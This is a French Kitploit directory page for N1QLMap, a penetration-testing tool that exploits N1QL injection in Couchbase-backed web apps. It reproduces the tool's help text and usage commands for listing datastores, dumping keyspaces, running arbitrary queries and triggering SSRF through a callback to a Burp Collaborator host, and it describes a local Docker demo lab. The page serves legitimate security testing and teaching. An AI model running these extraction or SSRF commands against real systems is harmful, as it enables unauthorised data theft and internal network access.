Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
N1QLMap — L'outil exfiltre des données de la base de données Couchbase en exploitant les vulnérabilités d'injection N1QL. | Kitploit
Outils/GitHubGitHub/fsecurelabs/n1qlmap
Exploitation d'Applications WebExfiltration de DonnéesTests d'IntrusionSécurité des Bases de Données
GitHubfsecurelabs/n1qlmap

N1QLMap

L'outil exfiltre des données de la base de données Couchbase en exploitant les vulnérabilités d'injection N1QL.

Voir le dépôt
7514il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Description

N1QLMap est un outil d'exploitation N1QL. Fonctionne actuellement avec la base de données Couchbase. L'outil prend en charge l'extraction de données et les attaques SSRF via CURL. Plus d'informations peuvent être trouvées ici : https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database.

Utilisation

Aide

root@kitploit:~
usage: n1qlMap.py [-h] [-r REQUEST] [-k KEYWORD] [--proxy PROXY] [--validatecerts] [-v]
                  (-d | -ks DATASTORE_URL | -e KEYSPACE_ID | -q QUERY | -c [ENDPOINT [OPTIONS ...]])
                  host

positional arguments:
  host                  Host used to send an HTTP request e.g. https://vulndomain.net

optional arguments:
  -h, --help            show this help message and exit
  -r REQUEST, --request REQUEST
                        Path to an HTTP request
  -k KEYWORD, --keyword KEYWORD
                        Keyword that exists in HTTP response when query is successful
  --proxy PROXY         Proxy server address
  --validatecerts       Set the flag to enforce certificate validation. Certificates are not validated by default!
  -v, --verbose_debug   Set the verbosity level to debug
  -d, --datastores      Lists available datastores
  -ks DATASTORE_URL, --keyspaces DATASTORE_URL
                        Lists available keyspaces for specific datastore URL
  -e KEYSPACE_ID, --extract KEYSPACE_ID
                        Extracts data from a specific keyspace
  -q QUERY, --query QUERY
                        Run arbitrary N1QL query
  -c [ENDPOINT [OPTIONS ...]], --curl [ENDPOINT [OPTIONS ...]]
                        Runs CURL N1QL function inside the query, can be used to SSRF

Utilisation

  1. Placez une requête HTTP dans le fichier request.txt. Marquez un point d'injection en utilisant *i*. Voir le fichier example_request_1.txt comme référence.
  2. Utilisez l'une des commandes suivantes.

Extrait les datastores :

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores

Extrait les keyspaces de l'ID de datastore spécifique :

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"

Extrait tous les documents du keyspace donné :

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample

Exécute une requête arbitraire :

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'

Effectue une requête CURL / SSRF :

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl *************j3mrt7xy3pre.burpcollaborator.net "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"

Démo

Pour jouer avec la vulnérabilité, vous pouvez lancer des machines Docker avec Couchbase et une application web NodeJS. Si vous avez déjà rempli les conditions préalables, exécutez simplement :

root@kitploit:~
cd n1ql-demo
./quick_setup.sh

Vous pouvez maintenant exécuter les commandes décrites dans la section Utilisation contre l'application web dockerisée.

Prérequis

Le script N1QLMap.py n'a besoin d'aucun prérequis spécifique en dehors de Python 3.

Les prérequis suivants sont uniquement pour la Démo fournie dans le répertoire n1ql-demo.

  • Docker
  • Docker Compose

Pour installer Docker et Docker Compose sur Kali :

root@kitploit:~
# Docker Installation
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list
apt-get update

apt-get remove docker docker-engine docker.io
apt-get install docker-ce

# Start Docker Service
systemctl start docker

# Docker Compose Installation
sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose

Testons Docker :

root@kitploit:~
docker run hello-world
Télécharger l’outil